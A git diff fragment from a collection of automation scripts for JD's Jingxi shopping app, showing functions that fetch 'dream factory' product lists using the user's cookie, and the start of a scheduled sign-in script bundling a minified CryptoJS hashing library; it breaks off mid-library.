howStock":0,"starLevel":2,"status":1,"stockNum":3740,"userLimitNum":1},{"commodityId":1991,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"宁夏、新疆、石家庄市、大连市、哈尔滨市、黑河市、二连浩特市、阿拉善盟、常州市、日照市、株洲市、上饶市、成都市、兰州市、天水市、嘉峪关市、陇南市、张掖市、酒泉市、甘南州、青浦区、昌平区不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"茶里乌龙茶包","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/156199/9/24504/10220/6188ce73E31cdc245/d016ad5cc40a6ad7.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":4103,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":897,"userLimitNum":1},{"commodityId":1992,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"上海、黑龙江、内蒙古、海南、贵州、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"毛球修剪器","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/214717/8/3614/7172/6188d29bEe9fd503b/c854a3de8305fdc1.png","predictProductionDays":"6","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":7953,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":12048,"userLimitNum":1},{"commodityId":1993,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"秋冬毛绒围脖","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/197696/28/16685/9626/6188d2e7E97bdaa1b/56a2351716900b29.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":5740,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":14261,"userLimitNum":1},{"commodityId":1994,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、海南、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、哈尔滨市、黑河市、成都市、遵义市、昌平区、武进区、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"多孔插排","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/213301/4/3641/5663/6188d3e4Eb9a5a627/3e28b9a27460f17d.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8457,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":1544,"userLimitNum":1},{"commodityId":1941,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、新疆、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"珊瑚绒睡裤","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/170576/12/21719/9109/61726e03Ea7eb7800/e8463377da2c0e74.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":57847,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":93,"showStock":0,"starLevel":3,"status":1,"stockNum":153,"userLimitNum":1}],"totalCount":11},"msg":"OK","nowTime":1636619667,"ret":0} +)} catch (e) {} + */ +// noinspection DuplicatedCode +async function GetCommodityList() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityList?zone=dream_factory&flag=2&pageNo=1&pageSize=12&_time=1636619666773&_ts=1636619666773&_=1636619666773&sceneval=2&g_login_type=1&callback=jsonpCBKKK&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +/** + * 商品详情 + * + * try {jsonpCBKWWW({"data":{"commodityList":[{"commodityId":1981,"createTime":1635842589,"description":"【活动价为12.9元,完成需支付4元下单】","deviceIds":"1","electricThreshold":0,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、西藏、甘肃、青海、新疆、台湾、钓鱼岛、晋中市、蒲县、濮阳市、哈尔滨市、黑河市、呼玛县、连云港市、扬州市、淄博市、日照市、长兴县、仙游县、攸县、衡阳市、隆回县、靖西市、富顺县、合江县、旺苍县、若尔盖县、石渠县、遵义市、昆明市、普洱市、德宏州、西安市、洋县、银川市、吴忠市、昌平区、蜀山区、管城回族区、云龙镇、大沥镇、高新技术产业开发区、港澳、海外不发货","flashStartTime":0,"isPingouFactSkuInfo":2,"label":0,"ladderActive":"[]","limitEndTime":0,"limitStartTime":0,"limitType":0,"materialIds":"520","name":"保暖毛圈袜5双","offlineTime":1636819199,"onlineTime":1635868800,"picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/201640/24/13983/12979/6180fa27E7a8317b9/121ef886afc15c9e.png","pingouFactZoneName":"","predictProductDays":"7","price":12600,"prizePoolIds":"","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productLimSeconds":1900800,"productionCondition":"限时22天完成生产 |内蒙古、西藏、甘肃、青海、新疆、台湾、钓鱼岛、晋中市、蒲县、濮阳市、哈尔滨市、黑河市、呼玛县、连云港市、扬州市、淄博市、日照市、长兴县、仙游县、攸县、衡阳市、隆回县、靖西市、富顺县、合江县、旺苍县、若尔盖县、石渠县、遵义市、昆明市、普洱市、德宏州、西安市、洋县、银川市、吴忠市、昌平区、蜀山区、管城回族区、云龙镇、大沥镇、高新技术产业开发区、港澳、海外不发货","raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"skuId":"10037609865072","starLevel":3,"status":1,"stockNum":0,"typeId":0,"updateTime":1636338700,"usedNum":4463,"userLimitNum":1,"userProductionNum":1}]},"msg":"OK","nowTime":1636437544,"ret":0} +)} catch (e) {} + */ +// noinspection DuplicatedCode +async function GetCommodityDetails(commodityId) { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&commodityId=${commodityId}&_time=1636437544857&_ts=1636437544857&_=1636437544857&sceneval=2&g_login_type=1&callback=jsonpCBKWWW&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + return data?.data?.commodityList?.[0] +} diff --git a/jx_sign.js b/jx_sign.js new file mode 100644 index 0000000..2d040b6 --- /dev/null +++ b/jx_sign.js @@ -0,0 +1,707 @@ +/* +京喜签到 +cron 20 1,8 * * * jx_sign.js +活动入口:京喜APP-我的-京喜签到 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +20 1,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "20 1,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="20 1,8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, cronexpr="20 1,8 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = 